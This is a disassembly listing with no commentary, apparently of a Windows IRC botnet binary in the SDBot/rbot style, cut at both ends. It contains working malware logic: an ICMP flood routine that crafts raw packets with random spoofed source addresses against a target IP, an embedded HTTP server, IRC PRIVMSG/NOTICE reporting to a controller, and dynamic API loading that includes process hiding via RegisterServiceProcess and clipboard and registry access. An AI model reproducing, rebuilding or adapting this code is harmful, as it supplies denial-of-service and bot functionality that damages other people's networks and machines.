; ---------------------------------------------------------------------------


loc_404E24:				; CODE XREF: sub_404C6A+14Bj
		push	edi
		push	edi
		push	3
		push	edi
		push	ebx
		push	80000000h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_420044	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_404E73
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	edi
		push	esi
		mov	[ebp+var_31C], edi
		call	ds:dword_420094	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_42003C	; CloseHandle


loc_404E73:				; CODE XREF: sub_404C6A+1ACj
					; sub_404C6A+1D7j
		mov	esi, [ebp+arg_10]
		push	esi
		lea	eax, [ebp+var_8C4]
		push	offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"...
		push	eax
		call	sub_4145E5
		push	edi
		lea	eax, [ebp+var_8C4]
		push	4
		push	eax
		call	sub_412471
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_436684[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		lea	eax, [ebp+var_6C4]
		push	eax
		push	offset sub_404AFC
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_436694[ecx], eax
		jnz	short loc_404F1A
		push	[ebp+arg_0]
		call	dword_4358F4	; closesocket
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"...
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_401EFF
		add	esp, 10h


loc_404F0B:				; CODE XREF: sub_404C6A+1B5j
					; sub_404C6A+2B8j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_404F12:				; CODE XREF: sub_404C6A+2B6j
		push	5
		call	ds:dword_420000	; Sleep


loc_404F1A:				; CODE XREF: sub_404C6A+26Fj
		cmp	[ebp+var_318], edi
		jz	short loc_404F12
		jmp	short loc_404F0B
sub_404C6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_404F24	proc near		; DATA XREF: sub_401141+363o
					; sub_408A18+440Eo

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_464		= byte ptr -464h
var_360		= dword	ptr -360h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_340		= byte ptr -340h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_414800
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+var_6F0]
		rep movsd
		push	[ebp+var_360]
		xor	esi, esi
		inc	esi
		mov	[eax+3ACh], esi
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_14], esi
		mov	[ebp+var_24], 2
		call	dword_435934	; ntohs
		and	[ebp+var_20], 0
		push	0
		push	esi
		push	2
		mov	[ebp+var_22], ax
		call	dword_4357E8	; socket
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		mov	[ebp+var_8], ebx
		jz	loc_4052F7
		mov	eax, [ebp+var_358]
		imul	eax, 234h
		mov	dword_43668C[eax], ebx
		push	10h
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_4358C0	; bind
		cmp	eax, edi
		jz	loc_4052F7
		push	7FFFFFFFh
		push	ebx
		call	dword_435908	; listen
		cmp	eax, edi
		jz	loc_4052F7
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	ebx
		call	dword_43578C	; ioctlsocket
		cmp	eax, edi
		jz	loc_4052F7
		push	41h
		xor	eax, eax
		pop	ecx
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		mov	[ebp+var_124], ebx
		mov	[ebp+var_128], esi
		mov	[ebp+var_4], ebx
		lea	eax, [ebx+1]
		jmp	loc_4052D9
; ---------------------------------------------------------------------------


loc_405009:				; CODE XREF: sub_404F24+3CDj
		xor	esi, esi
		mov	[ebp+arg_0], esi


loc_40500E:				; CODE XREF: sub_404F24+39Cj
		lea	eax, [ebp+var_23C]
		push	eax
		push	esi
		call	dword_43583C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4052B6
		cmp	esi, ebx
		jnz	short loc_40508B
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	ebx
		mov	[ebp+var_10], 10h
		call	dword_4357AC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4052B6
		mov	edx, [ebp+var_128]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_405064


loc_405056:				; CODE XREF: sub_404F24+13Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_405064
		inc	ecx
		cmp	ecx, edx
		jb	short loc_405056


loc_405064:				; CODE XREF: sub_404F24+130j
					; sub_404F24+139j
		cmp	ecx, edx
		jnz	short loc_40507A
		cmp	edx, 40h
		jnb	short loc_40507A
		mov	[ebp+ecx*4+var_124], eax
		inc	[ebp+var_128]


loc_40507A:				; CODE XREF: sub_404F24+142j
					; sub_404F24+147j
		cmp	eax, [ebp+var_4]
		jbe	loc_4052B6
		mov	[ebp+var_4], eax
		jmp	loc_4052B6
; ---------------------------------------------------------------------------


loc_40508B:				; CODE XREF: sub_404F24+102j
		mov	edx, 400h
		xor	eax, eax
		mov	ecx, edx
		lea	edi, [ebp+var_28F0]
		rep stosd
		push	eax
		mov	ecx, edx
		lea	edi, [ebp+var_18F0]
		rep stosd
		push	1000h
		lea	eax, [ebp+var_28F0]
		push	eax
		push	esi
		call	dword_43575C	; recv
		test	eax, eax
		jg	short loc_40510F
		push	esi
		call	dword_4358F4	; closesocket
		xor	eax, eax
		cmp	[ebp+var_128], eax
		jbe	loc_4052B6


loc_4050D3:				; CODE XREF: sub_404F24+1BFj
		cmp	[ebp+eax*4+var_124], esi
		jz	short loc_4050F9
		inc	eax
		cmp	eax, [ebp+var_128]
		jb	short loc_4050D3
		jmp	loc_4052B6
; ---------------------------------------------------------------------------


loc_4050EA:				; CODE XREF: sub_404F24+1DEj
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		inc	eax


loc_4050F9:				; CODE XREF: sub_404F24+1B6j
		mov	ecx, [ebp+var_128]
		dec	ecx
		cmp	eax, ecx
		jb	short loc_4050EA
		dec	[ebp+var_128]
		jmp	loc_4052B6
; ---------------------------------------------------------------------------


loc_40510F:				; CODE XREF: sub_404F24+198j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_340]
		rep stosd
		lea	eax, [ebp+var_28F0]
		xor	ebx, ebx
		xor	esi, esi
		lea	ecx, [eax+1]


loc_405129:				; CODE XREF: sub_404F24+20Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_405129
		sub	eax, ecx
		mov	[ebp+var_C], eax
		jz	loc_4052B3


loc_40513B:				; CODE XREF: sub_404F24+2D0j
		mov	al, [ebp+ebx+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_4051DE
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4051B8
		lea	eax, [ebp+var_18F0]
		lea	edx, [eax+1]


loc_405172:				; CODE XREF: sub_404F24+253j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405172
		sub	eax, edx
		cmp	eax, 5
		jbe	short loc_4051B8
		mov	eax, offset asc_420AE8 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4150B0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4150B0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_415459
		pop	ecx
		pop	ecx
		lea	edx, [ebp+var_340]


loc_4051AC:				; CODE XREF: sub_404F24+290j
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_4051AC
		jmp	short loc_4051CC
; ---------------------------------------------------------------------------


loc_4051B8:				; CODE XREF: sub_404F24+243j
					; sub_404F24+25Aj
		push	3
		mov	edi, offset asc_4219D0 ; "\r\n"
		lea	esi, [ebp+var_18F0]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_4051FF


loc_4051CC:				; CODE XREF: sub_404F24+292j
		xor	eax, eax
		mov	ecx, 400h
		lea	edi, [ebp+var_18F0]
		rep stosd
		or	esi, 0FFFFFFFFh


loc_4051DE:				; CODE XREF: sub_404F24+227j
		lea	eax, [ebp+var_28F0]
		inc	ebx
		inc	esi
		lea	ecx, [eax+1]


loc_4051E9:				; CODE XREF: sub_404F24+2CAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4051E9
		sub	eax, ecx
		cmp	ebx, eax
		jb	loc_40513B
		jmp	loc_4052B3
; ---------------------------------------------------------------------------


loc_4051FF:				; CODE XREF: sub_404F24+2A6j
		mov	ecx, [ebp+var_128]
		xor	eax, eax
		test	ecx, ecx
		jbe	short loc_40523E


loc_40520B:				; CODE XREF: sub_404F24+2F6j
		mov	edx, [ebp+eax*4+var_124]
		cmp	edx, [ebp+arg_0]
		jz	short loc_405233
		inc	eax
		cmp	eax, ecx
		jb	short loc_40520B
		jmp	short loc_40523E
; ---------------------------------------------------------------------------


loc_40521E:				; CODE XREF: sub_404F24+312j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ecx, [ebp+var_128]
		inc	eax


loc_405233:				; CODE XREF: sub_404F24+2F1j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40521E
		dec	[ebp+var_128]


loc_40523E:				; CODE XREF: sub_404F24+2E5j
					; sub_404F24+2F8j
		lea	eax, [ebp+var_340]
		lea	edx, [eax+1]


loc_405247:				; CODE XREF: sub_404F24+328j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405247
		sub	eax, edx
		mov	esi, eax
		lea	eax, [ebp+var_464]
		lea	ecx, [eax+1]


loc_40525B:				; CODE XREF: sub_404F24+33Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40525B
		sub	eax, ecx
		add	eax, esi
		cmp	eax, 104h
		jnb	short loc_4052AA
		and	[ebp+var_C], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_43578C	; ioctlsocket
		push	[ebp+var_358]
		lea	eax, [ebp+var_340]
		push	[ebp+var_34C]
		push	eax
		lea	eax, [ebp+var_464]
		push	eax
		push	[ebp+arg_0]
		call	sub_404C6A
		add	esp, 14h
		jmp	short loc_4052B3
; ---------------------------------------------------------------------------


loc_4052AA:				; CODE XREF: sub_404F24+347j
		push	[ebp+arg_0]
		call	dword_4358F4	; closesocket


loc_4052B3:				; CODE XREF: sub_404F24+211j
					; sub_404F24+2D6j ...
		mov	ebx, [ebp+var_8]


loc_4052B6:				; CODE XREF: sub_404F24+FAj
					; sub_404F24+120j ...
		mov	esi, [ebp+arg_0]
		inc	esi
		cmp	esi, [ebp+var_4]
		mov	[ebp+arg_0], esi
		jbe	loc_40500E
		push	41h
		xor	eax, eax
		pop	ecx
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax


loc_4052D9:				; CODE XREF: sub_404F24+E0j
		lea	esi, [ebp+var_128]
		lea	edi, [ebp+var_23C]
		push	eax
		rep movsd
		call	dword_43588C	; select
		cmp	eax, 0FFFFFFFFh
		jnz	loc_405009


loc_4052F7:				; CODE XREF: sub_404F24+66j
					; sub_404F24+8Dj ...
		call	dword_4358A0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"...
		push	eax
		call	sub_4145E5
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_350], esi
		jnz	short loc_40533F
		push	esi
		push	[ebp+var_354]
		lea	eax, [ebp+var_8F0]
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		push	[ebp+var_6F0]
		call	sub_4056FB
		add	esp, 14h


loc_40533F:				; CODE XREF: sub_404F24+3F6j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_401EFF
		pop	ecx
		push	ebx
		call	dword_4358F4	; closesocket
		push	[ebp+var_358]
		call	sub_412735
		pop	ecx
		push	esi
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_404F24	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_405367	proc near		; DATA XREF: sub_408A18+2D0Eo

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		rep movsd
		push	0FFh
		xor	esi, esi
		push	3
		inc	esi
		push	2
		mov	[eax+19Ch], esi
		call	dword_4357E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4053CE
		call	dword_4358A0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		xor	esi, esi


loc_4053C0:				; CODE XREF: sub_405367+9Cj
					; sub_405367+C3j
		cmp	[ebp+var_24], esi
		jnz	loc_405622
		jmp	loc_405602
; ---------------------------------------------------------------------------


loc_4053CE:				; CODE XREF: sub_405367+3Aj
		push	4
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	[ebp+var_C], esi
		push	2
		xor	esi, esi
		push	esi
		push	eax
		call	dword_435804	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405405
		call	dword_4358A0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	short loc_4053C0
; ---------------------------------------------------------------------------


loc_405405:				; CODE XREF: sub_405367+7Fj
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43585C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40542C
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP."
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	short loc_4053C0
; ---------------------------------------------------------------------------


loc_40542C:				; CODE XREF: sub_405367+AEj
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		stosd
		stosd
		stosd
		stosd
		push	esi
		mov	[ebp+var_1C], 2
		call	dword_435934	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43585C	; inet_addr
		mov	ebx, ds:dword_420004
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], esi
		call	ebx	; GetTickCount
		mov	[ebp+var_8], eax
		call	ebx	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4055BA
		mov	esi, 100h


loc_405480:				; CODE XREF: sub_405367+24Bj
		push	41Ch
		mov	byte_435340, 45h
		call	dword_435934	; ntohs
		mov	word_435342, ax
		xor	eax, eax
		cmp	[ebp+var_2C], eax
		mov	word_435344, 1
		mov	word_435346, ax
		mov	byte_435348, 80h
		mov	byte_435349, 1
		mov	word_43534A, ax
		jz	short loc_4054EF
		call	sub_4147A1
		mov	edi, eax
		shl	edi, 8
		call	sub_4147A1
		add	edi, eax
		shl	edi, 8
		call	sub_4147A1
		add	edi, eax
		shl	edi, 8
		call	sub_4147A1
		add	edi, eax
		mov	dword_43534C, edi
		jmp	short loc_405507
; ---------------------------------------------------------------------------


loc_4054EF:				; CODE XREF: sub_405367+159j
		push	[ebp+var_1BC]
		call	sub_407D51
		pop	ecx
		push	eax
		call	dword_43585C	; inet_addr
		mov	dword_43534C, eax


loc_405507:				; CODE XREF: sub_405367+186j
		mov	eax, [ebp+var_18]
		mov	dword_435350, eax
		call	sub_4147A1
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	byte_435354, dl
		call	sub_4147A1
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	byte_435355, dl
		call	sub_4147A1
		cdq
		mov	ecx, 0F0h
		idiv	ecx
		and	word_435356, 0
		mov	word_43535A, 1
		inc	edx
		mov	word_435358, dx
		call	sub_4147A1
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	10h
		mov	edi, offset dword_43535C
		mov	al, dl
		mov	cl, al
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, esi
		rep stosd
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		push	edi
		push	41Ch
		push	offset byte_435340
		push	[ebp+var_4]
		call	dword_4357B8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_40563F
		inc	[ebp+arg_0]
		call	ebx	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_405480
		xor	esi, esi


loc_4055BA:				; CODE XREF: sub_405367+10Ej
		push	[ebp+var_4]
		call	dword_4358F4	; closesocket
		mov	eax, [ebp+arg_0]
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to	IP: %s.	S"...
		push	eax
		call	sub_4145E5
		add	esp, 1Ch
		cmp	[ebp+var_24], esi
		jnz	short loc_405622


loc_405602:				; CODE XREF: sub_405367+62j
		push	esi
		push	[ebp+var_28]
		lea	eax, [ebp+var_3BC]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4056FB
		add	esp, 14h


loc_405622:				; CODE XREF: sub_405367+5Cj
					; sub_405367+299j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_401EFF
		push	[ebp+var_38]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	esi


loc_405639:				; CODE XREF: sub_405367+347j
		call	ds:dword_420014	; ExitThread


loc_40563F:				; CODE XREF: sub_405367+231j
		push	[ebp+var_4]
		call	dword_4358F4	; closesocket
		call	dword_4358A0	; WSAGetLastError
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B8]
		push	eax
		push	offset aIcmpErrorSendi ; "[ICMP]: Error	sending	packets	to IP: %s"...
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_405697
		push	edi
		push	[ebp+var_28]
		lea	eax, [ebp+var_3BC]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4056FB
		add	esp, 14h


loc_405697:				; CODE XREF: sub_405367+30Ej
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_401EFF
		push	[ebp+var_38]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	edi
		jmp	short loc_405639
sub_405367	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056B0	proc near		; CODE XREF: sub_40863D+40p
					; sub_408A18+1B8p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_414894
		lea	eax, [ebp+var_200]
		add	esp, 10h
		lea	edx, [eax+1]


loc_4056DD:				; CODE XREF: sub_4056B0+32j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4056DD
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43587C	; send
		leave
		retn
sub_4056B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056FB	proc near		; CODE XREF: sub_401000+B2p
					; sub_4010CA+61p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_405716
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_405716:				; CODE XREF: sub_4056FB+14j
		mov	eax, edi
		lea	edx, [eax+1]


loc_40571B:				; CODE XREF: sub_4056FB+25j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40571B
		sub	eax, edx
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]


loc_40572C:				; CODE XREF: sub_4056FB+36j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40572C
		push	[ebp+arg_8]
		sub	eax, ecx
		mov	ecx, 1FAh
		sub	ecx, eax
		push	offset aS_2	; "%s"
		sub	ecx, esi
		push	ecx
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_4145E5
		add	esp, 24h
		lea	eax, [ebp+var_200]
		pop	edi
		lea	ecx, [eax+1]
		pop	esi


loc_40577D:				; CODE XREF: sub_4056FB+87j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40577D
		push	0
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43587C	; send
		cmp	[ebp+arg_10], 0
		jz	short locret_4057AA
		push	0FAh
		call	ds:dword_420000	; Sleep

locret_4057AA:				; CODE XREF: sub_4056FB+A2j
		leave
		retn
sub_4056FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4057AC	proc near		; CODE XREF: sub_40E745+4Bp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4200A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_420084
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4058CC
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4357C0, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4357D8, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_435834, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_435798, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_435800, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4357E4, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_435884, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_435774, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_435808, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43582C, eax
		call	esi	; GetProcAddress
		cmp	dword_4357C0, ebx
		mov	dword_435890, eax
		jz	short loc_4058AA
		cmp	dword_4357D8, ebx
		jz	short loc_4058AA
		cmp	dword_435834, ebx
		jz	short loc_4058AA
		cmp	dword_435798, ebx
		jz	short loc_4058AA
		cmp	dword_4357E4, ebx
		jz	short loc_4058AA
		cmp	dword_435884, ebx
		jz	short loc_4058AA
		cmp	dword_435774, ebx
		jz	short loc_4058AA
		cmp	dword_435808, ebx
		jz	short loc_4058AA
		cmp	dword_43582C, ebx
		jz	short loc_4058AA
		cmp	eax, ebx
		jnz	short loc_4058B4


loc_4058AA:				; CODE XREF: sub_4057AC+B8j
					; sub_4057AC+C0j ...
		mov	dword_435938, 1


loc_4058B4:				; CODE XREF: sub_4057AC+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4358E4, eax
		jz	short loc_4058E1
		push	1
		push	ebx
		call	eax
		jmp	short loc_4058E1
; ---------------------------------------------------------------------------


loc_4058CC:				; CODE XREF: sub_4057AC+1Dj
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_43593C, eax
		mov	dword_435938, 1


loc_4058E1:				; CODE XREF: sub_4057AC+117j
					; sub_4057AC+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_420088	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40599C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4358A8, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_435840, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43577C, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4357E0, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_435794, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_435914, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_435778, eax
		call	esi	; GetProcAddress
		cmp	dword_4358A8, ebx
		mov	dword_435880, eax
		jz	short loc_4059A7
		cmp	dword_435840, ebx
		jz	short loc_4059A7
		cmp	dword_43577C, ebx
		jz	short loc_4059A7
		cmp	dword_4357E0, ebx
		jz	short loc_4059A7
		cmp	dword_435794, ebx
		jz	short loc_4059A7
		cmp	dword_435914, ebx
		jz	short loc_4059A7
		cmp	dword_435778, ebx
		jz	short loc_4059A7
		cmp	eax, ebx
		jnz	short loc_4059B1
		jmp	short loc_4059A7
; ---------------------------------------------------------------------------


loc_40599C:				; CODE XREF: sub_4057AC+144j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_435944, eax


loc_4059A7:				; CODE XREF: sub_4057AC+1B8j
					; sub_4057AC+1C0j ...
		mov	dword_435940, 1


loc_4059B1:				; CODE XREF: sub_4057AC+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_405B4C
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_435910, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_435830, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
